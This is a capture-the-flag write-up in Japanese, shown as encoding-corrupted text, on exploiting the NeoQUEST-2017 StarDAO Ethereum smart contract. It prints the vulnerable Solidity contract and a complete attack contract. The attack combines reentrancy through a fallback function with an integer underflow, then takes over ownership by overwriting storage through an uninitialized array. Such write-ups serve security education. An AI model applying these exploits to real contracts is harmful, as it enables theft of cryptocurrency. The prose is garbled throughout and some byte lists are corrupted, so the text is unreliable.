
æå·é貚ã«ã€ããŠã®äŒè©±ã§æ¢ã«ããã€ã®ã³ããŒãå£ããŠããŸããïŒ éè¡ãšæ¿åºæ©é¢ã¯ãã®æ³çå°äœã«ã€ããŠè°è«ããŠããŸãããæ°éçµç¹ã¯
ãããã¯ãã§ãŒã³ã䜿çšããããŸããŸãªæ¹æ³ãèãåºããŸãã ãã®æè¡ãšé¢é£è£œåã®å®å
šæ§ã«ã€ããŠèããŸããã
NeoQUEST-2017ã¿ã¹ã¯ã®äŸã§ã¯ã
ã¹ããŒãã€ãŒãµãªã¢ã ïŒãããã³ã€ã³ã«æ¬¡ãã§2çªç®ã«äººæ°ã®ããæå·é貚ïŒã
æ±ããŸãã 競åä»ç€Ÿã¯ãè匱ãªå¥çŽã®ãšã¯ã¹ããã€ããäœæããå¿
èŠããããŸããã ãããè¡ãæ¹æ³-ã«ããã®äžã§èªãã§ãã ããïŒ
ã€ãŒãµãªã¢ã ãšã¯äœã§ããïŒ
ã€ãŒãµãªã¢ã ã¯
æå·é貚ã§ã ãã€ãŸãã誰ãæã£ãŠãããéã«ã€ããŠã®æ
å ±ãä¿åããåæ£ããŒã¿ããŒã¹ã§ãã ãŠãŒã¶ãŒã¯ããã©ã³ã¶ã¯ã·ã§ã³ã䜿çšããŠããŒã¿ããŒã¹ãšå¯Ÿè©±ã§ããŸã-æ£åœæ§ã確èªãããç¹å¥ãªãŠãŒã¶ãŒã«ãã£ãŠãããã¯ã«çµã¿ç«ãŠãããã³ãã³ã-ãã€ããŒã
ãã©ã³ã¶ã¯ã·ã§ã³ããããã¯ã«åé¡ããããšã確èªæžã¿ãšèŠãªããããã®å¹æãæå¹ã«ãªããŸãã ãã©ã³ã¶ã¯ã·ã§ã³ãããã¯ã®ãã§ãŒã³ïŒãããã¯ãã§ãŒã³ïŒã¯ããã¹ãŠã®ãŠãŒã¶ãŒéã§ããŒã¿ã®æŽåæ§ãšããŒã¿ããŒã¹ã®ç¶æ
ã®åæãä¿èšŒããŸãã
Ethereumã®æ©èœã¯ãã¹ããŒãã³ã³ãã©ã¯ãã®ãµããŒãã§ãã
ã¹ããŒãã³ã³ãã©ã¯ãã¯ããããã¯ãã§ãŒã³ã«å
¥åãããåå¥ã®æå·é貚ã¢ã«ãŠã³ãã管çããã³ãŒãã§ãã 圌ã¯ãéã®éåä¿¡ãæ
å ±ã®åŠçãéèŠãªããŒã¿ã®ä¿åãã§ããŸãã ã¢ã«ãŠã³ã管çã¯ãäºåã«èšå®ãããæªå€æŽã®ã¢ã«ãŽãªãºã ã«åŸã£ãŠã人éã®ä»å
¥ãªãã«å®è¡ãããŸãã
ã¹ããŒãã³ã³ãã©ã¯ãã®ã³ãŒãã¯ããŸããŸãªèšèªã§èšè¿°ã§ããŸãããæãäžè¬çãªã®ã¯Solidityã§ãïŒ
ããã§ã¯ãSolidityã®ã¹ããŒãã³ã³ãã©ã¯ãã®å®è£
ã«é¢ãã奜å¥å¿ãããããŠãŸãïŒã ãã®èšèªã¯JavaScriptã«äŒŒãŠããŸããããããã¯ãã§ãŒã³ãæäœããããã®ç¹å¥ãªæ§é ãè¿œå ãããŠããŸãã JSãšã®éèŠãªéãã¯ãã³ãŒããEthereumä»®æ³ãã·ã³ïŒEVMïŒã®ãã€ãã³ãŒãã«ã³ã³ãã€ã«ãããããšã§ãã ãã€ãã³ãŒãã¯ãç¹å¥ãªãã©ã³ã¶ã¯ã·ã§ã³ã䜿çšããŠå
¬éãããŸãã
ãããã¯ãã§ãŒã³ã«å
¥ã£ãåŸãã¹ããŒãã³ã³ãã©ã¯ãã¯æå·é貚ã®éåä¿¡ã«äœ¿çšã§ããã¢ãã¬ã¹ãåãåããŸãã ãŠãŒã¶ãŒã¯ããã©ã³ã¶ã¯ã·ã§ã³ã䜿çšããŠããŸããŸãªã³ã³ãã©ã¯ãã¡ãœãããåŒã³åºãããšãã§ããŸãã ãã®ãããªãã©ã³ã¶ã¯ã·ã§ã³ã¯ãå¥çŽã³ãŒãã䜿çšããŠåŠçãããŸãã
ã¹ããŒãã³ã³ãã©ã¯ãã®1ã€ã®ã¢ããªã±ãŒã·ã§ã³ã¯ã
åæ£åã®èªåŸçµç¹ ïŒDAOïŒã®äœæã§ãã ãã®ãããªçµç¹ã¯éåžžãããŒã¯ã³ãæå·é貚ãšäº€æããŠè²©å£²ããŠããŸãã ããŒã¯ã³ææè
ã¯çµç¹ã管çã§ããŸããããšãã°ãæ°ããããŒã¯ã³ã®çºè¡ããã¹ããŒãã³ã³ãã©ã¯ãã§èç©ããããéã§ã®äŒæ¥ã®ã¹ãã³ãµãŒã«é¢ãã決å®ãè¡ãããšãã§ããŸãã ããªãå€æ°ã®æå·é貚ãDAOã³ã³ãã©ã¯ãã§åéã§ããŸããã¹ããŒãã³ã³ãã©ã¯ãã®ã³ãŒãã«ãšã©ãŒããããšãDAOã¯ãã®å¯ãæã«å
¥ããããšãã§ãããããããã«ãŒã«ãšã£ãŠæãŸããã¿ãŒã²ããã«ãªããŸãã
ã¿ã¹ã¯ã®åæããŒã¿
äŒèª¬ã«ãããšãåå è
ã¯å®å®è¹ã®ãšã³ãžã³ãšçæãå
¥æããå¿
èŠããããStarDAO Webãµã€ãããå
¥æã§ããŸãã ãã®ãµã€ãã®æ
å ±ã¯ãå瀟ãå®å®æ©åšã®ååŒã«ã€ãŒãµãªã¢ã æå·é貚ã«åºã¥ãã¹ããŒãå¥çŽã䜿çšããŠããããšã瀺ããŠããŸãã
ã¹ããŒãå¥çŽã³ãŒãïŒcontract StarDAO { address owner; function StarDAO() payable { owner = msg.sender; } function GetOwner() returns (address) { return owner; } modifier onlyOwner { if (msg.sender != owner) throw; _; } function TransferOwnership(address newOwner) onlyOwner { owner = newOwner; } mapping (address => uint) starTokens; uint starTokensTotalSupply = 0; function BuyTokens() payable { starTokensTotalSupply += msg.value; starTokens[msg.sender] += msg.value; } function SellTokens(uint amount) { if (starTokens[msg.sender] >= amount) { if (msg.sender.call.value(amount)() == false) throw; starTokensTotalSupply -= amount; starTokens[msg.sender] -= amount; } } function GetBalance(address addr) constant returns (uint) { return starTokens[addr]; } function GetTotalSupply() constant returns (uint) { return starTokensTotalSupply; } function SendTokens(address addr, uint amount) { if (starTokens[msg.sender] >= amount) { starTokens[msg.sender] -= amount; starTokens[addr] += amount; } } mapping (uint => bool) bonusCodes; function AddBonusCode(uint code) onlyOwner { bonusCodes[code] = true; } function HashReverse(bytes s) constant returns (uint8[32]) { uint8[32] res; bytes32 z = sha3(s); for (uint8 i = 0; i < 32; i++) res[31-i] = uint8(z[i]); return res; } function CalcCodeHash(bytes code) constant returns (uint) { var tmp = HashReverse(code); uint codeHash = 0; for (uint8 i = 0; i < 32; i++) codeHash = codeHash * 256 + tmp[i]; return codeHash; } mapping (address => bool) fuelAccess; function BuyFuel() { uint fuelPrice = 1000000000000000000000000; if (starTokens[msg.sender] >= fuelPrice) { starTokens[msg.sender] -= fuelPrice; starTokensTotalSupply -= fuelPrice; fuelAccess[msg.sender] = true; } } function HasFuel(address addr) constant returns (bool) { return fuelAccess[addr]; } mapping (address => bool) driveAccess; function GetDrive(bytes code) { uint codeHash = CalcCodeHash(code); if (bonusCodes[codeHash]) { bonusCodes[codeHash] = false; driveAccess[msg.sender] = true; } } function HasDrive(address addr) constant returns (bool) { return driveAccess[addr]; } }
ãµã€ãã«ç»é²ãããšãå人ã¢ã«ãŠã³ãã«ã¢ã¯ã»ã¹ã§ããããã«ãªããŸãããããããæå·é貚ã䜿çšããåºæ¬çãªæäœãå®è¡ã§ããŸãã ããã«ãç»é²æã«å°éã®æå·é貚ãçºè¡ãããŸãã1ETHããŸãã¯ïŒåãïŒ10
18 WEIãETHã®æå°ç²åã§ãã
ãååãå
¥æãã¿ããããããã«ãããŸãããçºè¡ã³ãŒããèŠã€ããããšãããšãšã©ãŒãçºçããŸãã WebãµãŒããŒã¯ãã¹ããŒãã³ã³ãã©ã¯ãã䜿çšããŠãéžæããã¢ã«ãŠã³ãã®ãšã³ãžã³ãšçæããã§ãã¯ããŠãããã
ã§ãïŒHasFuelïŒïŒããã³
HasDriveïŒïŒé¢æ°ãããããšã¯ç¡é§ã§ã¯ãããŸããïŒïŒã åé¡ã³ãŒãã¯ãæ€èšŒçµæãæåããå Žåã«ã®ã¿æäŸãããŸãã
ããŒã1ïŒçæãå
¥æãã
function HasFuel(address addr) constant returns (bool) { return fuelAccess[addr]; }
HasFuelïŒïŒé¢æ°ã¯fuelAccessé
åããã§ãã¯ããæž¡ãããã¢ãã¬ã¹ã«å¯Ÿå¿ããé
åã»ã«ã«trueãå
¥åãããå Žåã«ã®ã¿trueãè¿ããŸãã ãããã£ãŠãæ¡ä»¶fuelAccess [our_address] == trueãå®çŸããå¿
èŠããããŸãã
function BuyFuel() { uint fuelPrice = 1000000000000000000000000; if (starTokens[msg.sender] >= fuelPrice) { starTokens[msg.sender] -= fuelPrice; starTokensTotalSupply -= fuelPrice; fuelAccess[msg.sender] = true; } }
BuyFuelïŒïŒé¢æ°ã¯ãçæã®ã³ã¹ãã10
24 WEIãã€ãŸã100äžETHã«èšå®ããŸãã 次ã«ãé¢æ°ãåŒã³åºãããŠãŒã¶ãŒãååãªæ°ã®ããŒã¯ã³ãæã£ãŠããããšã確èªããŸãã æåãããšãããŒã¯ã³ã¯ååŽãããçæã®è³Œå
¥ã«é¢ããæ
å ±ãfuelAccessé
åã«å
¥åãããŸãã ãããã£ãŠãããŒãååŸããããã«å¿
èŠãªã®ã¯ã賌å
¥ã«ååãªè³éãååŸããããšã§ãã
function SellTokens(uint amount) { if (starTokens[msg.sender] >= amount) { if (msg.sender.call.value(amount)() == false) throw; starTokensTotalSupply -= amount; starTokens[msg.sender] -= amount; } }
ããŒã¯ã³ã®æå·é貚ã®äº€æã1ã€ã®ã¢ã«ãŠã³ãããå¥ã®ã¢ã«ãŠã³ããžã®ããŒã¯ã³ã®è»¢éãããã³æå·é貚ã®ããŒã¯ã³ã®é亀æã¯ãé¢æ°
BuyTokensïŒïŒ ã
SendTokensïŒïŒ ãããã³
SellTokensïŒïŒã«ãã£ãŠå®è¡ãããŸãã åŸè
ã¯ç¹ã«èå³æ·±ããã®ã§ãã ãã®é¢æ°ã¯ããŠãŒã¶ãŒãæå·é貚ãšäº€æãããããŒã¯ã³ã®æ°ãå
¥åãšããŠåãå
¥ãããŠãŒã¶ãŒãååãªæ°ã®ããŒã¯ã³ãæã£ãŠãããã©ããã確èªããŸãã
ãã¹ããæåãããšãé¢æ°ã¯èŠæ±ãããWEIçªå·ããŠãŒã¶ãŒã«éä¿¡ããããšããŸãã äœããã®çç±ã§ãŠãŒã¶ãŒãééãåãå
¥ããªãå Žåãthrowãªãã¬ãŒã¿ãŒãåŒã³åºãããŸããããã«ãããå¥çŽãçµäºãããã¹ãŠã®å€æŽãããŒã«ããã¯ãããŸãã ãéãå±ããšãåŒãåºãããããŒã¯ã³ã®æ°ããŠãŒã¶ãŒããŒã¯ã³ã®æ°ããå·®ãåŒãããŸãã
äžèŠãé¢æ°ã®ã¢ã«ãŽãªãºã ã¯æ£ããã§ãã ããã¯ããã§ããã... 1ã€ã®ç¹å¥ãªå Žåã§ã¯ãããŸããïŒ åé¡ã¯ããã®é¢æ°ã¯éåžžã®ãŠãŒã¶ãŒã§ã¯ãªããå¥ã®ã¹ããŒãã³ã³ãã©ã¯ãã«ãã£ãŠåŒã³åºãããšãã§ãããšããããšã§ãã ãã®å¥çŽã«ã¯ããã©ãŒã«ããã¯æ©èœãšåŒã°ãããã®ããããŸããããã¯ãå¥çŽããéãåãå
¥ãããã³ã«åŒã³åºãããŸãã ãããã£ãŠãæ¡ä»¶ããã§ãã¯ããŠããããŒã¯ã³ãæžãåºããŸã§ã®éã«ãä»»æã®ã³ãŒããå®è¡ã§ããŸãã
ãã¡ãããã³ãŒãã¯æ¯æãåè«Ÿå¥çŽã®ã³ã³ããã¹ãã§å®è¡ãããStarDAOå¥çŽã«çŽæ¥åœ±é¿ãäžããããšã¯ã§ããŸããã ãã ããããããStarDAOã³ã³ãã©ã¯ãã®é¢æ°ãåŒã³åºããŠã
SellTokensïŒïŒã®ååæ§ã«éåããããšã劚ãããã®ã¯ãããŸããã
bool attack = true; function () payable { if (attack) { attack = false; dao.SellTokens(1); } }
ããã¯ã©ã®ããã«äœ¿çšã§ããŸããïŒ çŸåšãStarDAOã«æ£ç¢ºã«1ã€ã®ããŒã¯ã³ãæã€å¥çŽããããšããŸãããã å¥çŽã«è«çå€æ°attack = trueããããæ»æããã§ãã¯ããæåããå Žåã¯falseã«ãªã»ããããŠ1ã€ã®ããŒã¯ã³ã販売ãããã©ãŒã«ããã¯é¢æ°ããããšããŸãã å¥çŽãä¿æããããŒã¯ã³ã1ã€å£²ãããšãããšã©ããªããèŠãŠã¿ãŸãããã
ãããŠãäœãé¢çœãããšãèµ·ãããŸãïŒ å¥çŽã¯
SellTokensïŒ1ïŒãåŒã³åºããŸãã StarDAOã¯ãstarTokens [our_address]â¥1-å¥çŽã«ããŒã¯ã³ã1ã€ãããªããããæ¡ä»¶ãæºããããŠããããšã確èªããŸãã StarDAOã¯å¥çŽã«1 WEIãéä¿¡ãããã®çµæããã©ãŒã«ããã¯é¢æ°ãåŒã³åºãããŸãã 圌女ã¯æ»æãã©ã°ããªã»ãããã
SellTokensïŒ1ïŒãå床åŒã³åºããŸãã
StarDAOã¯ãstarTokens [our_address]â¥1ã§ããããšãå床確èªããŸãã1ã€ã®ããŒã¯ã³ããŸã ååŽãããŠããªããããæ¡ä»¶ã¯ãŸã æºããããŠããŸãã ãããã£ãŠãStarDAOã¯åã³1 WEIãå¥çŽã«éä¿¡ããŸãïŒåæã«ããã©ãŒã«ããã¯é¢æ°ã¯äœãããŸãããçŸåšã¯attack = falseã§ãïŒã ãã®åŸãStarDAOã¯éä¿¡ãããåWEIã®å¥çŽããŒã¯ã³ãããŠããããå·®ãåŒããŸãã
æåã®åŒãç®ã®åŸãããŒã¯ã³ã®æ°ã¯ãŒãã«ãªãã2çªç®ã®åŸãæŽæ°å€æ°ã®ãªãŒããŒãããŒã«ãããå¥çŽã¯ïŒ2
256 -1ïŒããŒã¯ã³ã®ã©ãããŒãã«ããŒã«ãªããŸãã çæã«ã¯ååã§ãïŒãããŠããããæåã®éµã§ãïŒïŒ
æ»æã®å®å
šãªå¥çŽã³ãŒãã以äžã«ç€ºããŸãã StarDAOã³ã³ãã©ã¯ããšã®çžäºäœçšã®æ©èœã瀺ããæ»æã®ãã¹ãŠã®ã¹ããããå«ãŸããŠããŸãã
ãšã¯ã¹ããã€ãã³ãŒãïŒ contract StarDAO { function BuyTokens() payable; function SellTokens(uint amount); function GetBalance(address addr) constant returns (uint); function SendTokens(address addr, uint amount); } contract Bad { address owner; bool attack; StarDAO dao = StarDAO(0x91d6561b996fba322b1a5ecfdf462b4ee0b130d7); function Bad() payable { owner = msg.sender; } function launchAttack() { attack = true; dao.BuyTokens.value(1)(); dao.SellTokens(1); dao.SendTokens(owner, dao.GetBalance(this)); } function () payable { if (attack) { attack = false; dao.SellTokens(1); } } }
ããŒã2ïŒãšã³ãžã³ãååŸãã
function GetDrive(bytes code) { uint codeHash = CalcCodeHash(code); if (bonusCodes[codeHash]) { bonusCodes[codeHash] = false; driveAccess[msg.sender] = true; } }
GetDriveïŒïŒã¯ããšã³ãžã³ãååŸããŸãã å
¥åãšããŠããã€ãã®ã³ãŒããåãåãããã®å€æŽãããkeccak-256ããã·ã¥ãèšç®ããbonusCodesé
åã«ãã®ããã·ã¥ã®ååšã確èªããŸãã ããã·ã¥ãããå Žåã¯åé€ããããŠãŒã¶ãŒã¯ãšã³ãžã³ãåãåããŸãã
address owner; modifier onlyOwner { if (msg.sender != owner) throw; _; } function AddBonusCode(uint code) onlyOwner { bonusCodes[code] = true; }
AddBonusCodeïŒïŒé¢æ°ã䜿çšããŠãbonusCodesé
åã«ããã·ã¥ãè¿œå ã§ããŸãã ãã£ããã¯ãonlyOwner修食åã¯ãã¢ãã¬ã¹ãææè
å€æ°ã«æ ŒçŽãããŠããã¢ã«ãŠã³ãã®ææè
ã®ã¿ãèš±å¯ããããšã§ãã ãã®ãããã³ãŒããè¿œå ããŠäœ¿çšããã«ã¯ãå¥çŽã®ææè
ã«ãªãå¿
èŠããããŸãã
function StarDAO() payable { owner = msg.sender; } function TransferOwnership(address newOwner) onlyOwner { owner = newOwner; }
ææè
å€æ°ã¯ãå¥çŽå
ã§ããã2ãæã§å€æŽãããŸãã
ãŸããStarDAOïŒïŒã³ã³ãã©ã¯ãã®ã³ã³ã¹ãã©ã¯ã¿ãŒã§æå®ãããŸãã ã³ã³ã¹ãã©ã¯ã¿ãŒã¯ãã³ã³ãã©ã¯ããäœæãããšãã«1åã ãåŒã³åºãããŸãã ãããã£ãŠãããã䜿çšããŠææè
ãå€æŽãããšå€±æããŸãã
次ã«ã
TransferOwnershipïŒïŒé¢æ°ããããŸãããonlyOwner修食åããããŸãã ãŸããææè
ãå€æŽããã®ã«ãé©ããŠããŸããã
ãã®æç¹ã§ãææè
ãå€æŽããããšã¯äžå¯èœã®ããã§ãã ããããããã¯ããã§ã¯ãããŸããïŒ Solidityã¯JavaScriptã«äŒŒãŠããŸãããã³ã³ãã€ã«ãããçµæã®ãã€ãã³ãŒãã¯å€æ°ã§ã¯ãªãã¡ã¢ãªå
ã®ã¢ãã¬ã¹ã§æ©èœããŸãã ãã®ãããææè
ã®å€ãä¿åãããŠããå Žæãç¹å®ããããã«äœãã¬ãã«ã§äžæžãããããšãã§ããŸãã
ãããè¡ãã«ã¯ãEthereumä»®æ³ãã·ã³ã§ã¡ã¢ãªãã©ã®ããã«æ©èœããããç解ããå¿
èŠããããŸãã ã³ã³ãã©ã¯ããå®è¡ãããšããã¡ã¢ãªãšã¹ãã¬ãŒãžã®2çš®é¡ã®ã¡ã¢ãªã䜿çšãããŸãïŒå®éãã³ãŒããã¹ã¿ãã¯ãã³ãŒã«ããŒã¿ããããŸããããããã¯åŸ®åŠã§ãïŒã ã¡ã¢ãªã¯äžæã¡ã¢ãªã§ããããã®å
容ã¯ãããã¯ãã§ãŒã³ã«æžã蟌ãŸãããã³ã³ãã©ã¯ãã³ãŒã«éã§ä¿åãããŸããã å察ã«ãã¹ãã¬ãŒãžã¯ãããã¯ãã§ãŒã³äžã«ãããã³ã³ãã©ã¯ãã®å®æ°å€æ°ã®å€ãæ ŒçŽããŸãã
æ ŒçŽããã¡ã¢ãªãæ瀺çã«æå®ããã«å€æ°ãSolidityã§å®£èšãããã³ã«ãã¡ã¢ãªã¿ã€ããèªåçã«å²ãåœãŠãããŸãã ããšãã°ããã¹ãŠã®ã°ããŒãã«å€æ°ãšãã¹ãŠã®é
åã¯ãããã©ã«ãã§ã¹ãã¬ãŒãžã«ä¿åãããŸãã ã¹ãã¬ãŒãžã¯ãã¢ãã¬ã¹é·ã2
256ãããã®ã¢ãã¬ã¹ç©ºéã§ã32ãã€ãã®ã»ã«ã«åå²ãããŸãã ãã¹ãŠã®éçå€æ°ïŒæŽæ°ãäžå®ãµã€ãºã®é
åãªã©ïŒã¯ãã¢ãã¬ã¹0x0ããé çªã«ã¹ãã¬ãŒãžã«æ ŒçŽãããŸãã ãµã€ãºãåçã«å€åããå€æ°ã¯ããè€éãªæ¹æ³ã§ä¿åãããã¢ãã¬ã¹ã¯keccak-256ããã·ã¥ã䜿çšããŠèšç®ãããŸãã
function HashReverse(bytes s) constant returns (uint8[32]) { uint8[32] res; bytes32 z = sha3(s); for (uint8 i = 0; i < 32; i++) res[31-i] = uint8(z[i]); return res; }
ããã¯ã©ã®ããã«å¥çŽã®ææè
ãå€ããã®ã«åœ¹ç«ã¡ãŸããïŒ
HashReverseïŒïŒé¢æ°ãèŠããšãresé
åã䜿çšããŠããããšãããããŸãã 宣èšããããšãã¡ã¢ãªã¿ã€ãã¯èšå®ãããŸãããã€ãŸããã¹ãã¬ãŒãžã«æ ŒçŽãããŸãã ããã«ããã®é
åã¯å®£èšãããŠããã ãã§ãåæåãããŠããŸããã
Ethereumä»®æ³ãã·ã³ã¯ããã©ã«ãã§ãã¹ãŠã®ããŒã¿ããŒãã§åæåãããããé
åã«ã¯ã¢ãã¬ã¹0x0ãäžããããäžçš®ã®NULL POINTERã®åœ¹å²ãæãããŸãã ãã®ãããé
åãžã®æžã蟌ã¿æã«ãã¹ãã¬ãŒãžã®æåã®32ãã€ããå€æŽãããŸãããã®äžã§ãã³ã³ãã©ã¯ãã§å®£èšãããæåã®å€æ°-ææè
ãæ ŒçŽãããŸãã
ãŸããå®æ°ä¿®é£ŸåããµããŒãããSolidityããŒãžã§ã³ã¯ãªãããïŒãã®åèªã¯ãé¢æ°ã«ãããããã¯ãã§ãŒã³ãžã®å€æŽãé²ãããã«å°æ¥ã®ããã«äºçŽãããŠããŸãïŒãå¥çŽææè
ã®ã¢ãã¬ã¹ãæžãæããããšãå¯èœã«ãªããŸãã
ææè
å€æ°ã«ã¢ãã¬ã¹ãæžã蟌ã¿ãããããã©ã¡ãŒã¿ãŒãšããŠ
HashReverseïŒïŒé¢æ°ã«æž¡ãã ãã§ã¯ãåŒæ°ãæåã«ããã·ã¥ãããããæ©èœããŸããã 幞ããªããšã«ãã€ãŒãµãªã¢ã ã¢ãã¬ã¹ã¯ãã¢ã«ãŠã³ãã®å
¬éããŒããã®ããã·ã¥ã«ãããããŠãŒã¶ãŒã®å人ã¢ã«ãŠã³ãã§è¡šç€ºã§ããŸãã

äžèšã®äŸã§ã¯ãå
¬éããŒã¯0xe969598d9dcacebd89d0ca96f0a66c6908f9c3ff4f6652ac2d110fc49ae8f7d18313f2ecbbb612778d815c22cb858438a504e76c70de013c26c4c86e72dã§ãã ãããã£ãŠãã³ã³ãã©ã¯ãã®ææè
ã«ãªãã«ã¯ãåŒæ°[0xe9ã0x69ã0x59ã0x8dã0x9dã0xcaã0xceã0xbdã0x89ã0xd0ã0xcaã0x96ã0xf0ã0xa6ã0x6cã0x669ã0x669ãæå®ããŠïŒãã©ã³ã¶ã¯ã·ã§ã³ã¡ãœããïŒHashReverseïŒïŒãåŒã³åºãå¿
èŠããããŸãã0x08ã«ã0xf9ã0xc3ã0xFFãã0x4fãã¯0x66ã0x52ã0xACã®ã0x2dã0x11ãã0x0Fã®ã0xc4ã0x9aã0xe8ã0xf7ã0xd1ã0x83ã®ã0x13ã«ã0xf2ã0xecã0xbbã0xb6ã0x12ãã0x77ã0x8d ã0x81ã0x5cã0x22ã0xcbã0x85ã0x84ã0x38ã0xa5ã0x04ã0xe7ã0x6cã0x70ã0xdeã0x01ã0x3cã0x26ã0xc4ã0xc8ã0x6eã0x72ã0xdcã07 ãã®åŸã«
GetOwnerïŒïŒé¢æ°ãåŒã³åºã
ããšã«ãã ãã¢ã«ãŠã³ãã¢ãã¬ã¹ãšå¥çŽææè
ãåãã§ããããšã確èªã§ããŸãã
次ã®ã¹ãããã¯ãã³ãŒããè¿œå ããŠãšã³ãžã³ãååŸããããšã§ãã ãããè¡ãã«ã¯ã次ã®ãã®ãå¿
èŠã§ãã
- ãã€ãã®ã»ããïŒããšãã°ã[0x01ã0x02ã0x03]ïŒãååŸããŸãã
- ããããkeccak-256ããã·ã¥ãèšç®ããŸãïŒãã®äŸã§ã¯ã0xf1885eda54b7a053318cd41e2093220dab15d65381b1157a3633a83bfd5c9239ãååŸããŸãïŒã
- ããªããããŸãïŒ0x39925cfd3ba833367a15b18153d615ab0d2293201ed48c3153a0b754da5e88f1ïŒã
- 10é²æ°ãšããŠè¡šç€ºïŒ26040433828516858466028575311317889779993153936426418137092284197924182591729ïŒã
- AddBonusKeyïŒïŒãåŒã³åºããŠããã®çªå·ããã©ã¡ãŒã¿ãŒãšããŠæž¡ããŸãã
ããšãã°ãå€æãå®è¡ããããã«ãPythonçšã®
pysha3ã©ã€ãã©ãªã䜿çšã§ããŸãã
æåŸã«ãè¿œå ãããã³ãŒãã䜿çšããå¿
èŠããããŸãã ãããè¡ãã«ã¯ã
GetDriveïŒïŒãåŒã³åºããŠãã³ãŒãã®äœæå
ã®ãã€ããæž¡ããŸãã å®å®è¹ã®ãšã³ãžã³ã§ãããã€ã©ïŒããã³2çªç®ã®ããŒïŒãå±ããŸããïŒ
çµè«ãšããŠ
çŸåšããããã¯ãã§ãŒã³ã¯å®éã®ã¢ããªã±ãŒã·ã§ã³ãèŠã€ãå§ããŠããŸãã ããšãã°ã
åæ£ãã¡ã€ã«
ã¹ãã¬ãŒãž ã
é»åæ祚ã«äœ¿çšãããäžéšã®éè¡ã¯æå·é貚çšã®
ç¹å¥ãªã«ãŒããçºè¡ããŸãã
ãããã¯ãã§ãŒã³ã¯ãå
¥åãããããŒã¿ã®æŽåæ§ãä¿èšŒããŸãããäžäœã®ã¢ããªã±ãŒã·ã§ã³ã®ãšã©ãŒã«å¯Ÿããä¿è·ã¯è¡ããŸããã è¯ãäŸã¯ã
æ»æè
ãçµç¹ã®ã¹ããŒãã³ã³ãã©ã¯ãã®ãšã©ãŒã䜿çšããŠèšå€§ãªéã®æå·é貚ïŒ6,000äžãã«çžåœïŒãçãã
DAOãžã®æ»æã§ãã ãã®æ»æã¯The DAOã®æ»ããããããã€ãŒãµãªã¢ã ã®å®å®ãæºããããŸããã 幞ããªããšã«ããéã¯æ£åœãªææè
ã«è¿éãããŸããã ãããããã®äºä»¶ã¯ããããã¯ãã§ãŒã³æè¡ã®é©çšã«ãããŠæ
å ±ã»ãã¥ãªãã£ã確ä¿ããããšã®éèŠæ§ã匷調ããŸããã
NeoQUESTã®èª²é¡ã®1ã€ã§æå·é貚ã®äœ¿çšã«é¢é£ããã»ãã¥ãªãã£äžã®åé¡ã瀺ããŸãããåå è
ã課é¡ãå®äºããéçšã§ããããŠãã®èšäºããå€ããåŠãã ããšãæ¬åœã«é¡ã£ãŠããŸãã ã¡ãªã¿ã«ã
ã¿ã¹ã¯ã®ãã
ãµã€ãã¯ãŸã å©çšå¯èœ
ã§ãã ãã¿ã¹ã¯ãå®äºããŠããªã人ã¯æçµçã«å®äºã§ããŸãïŒ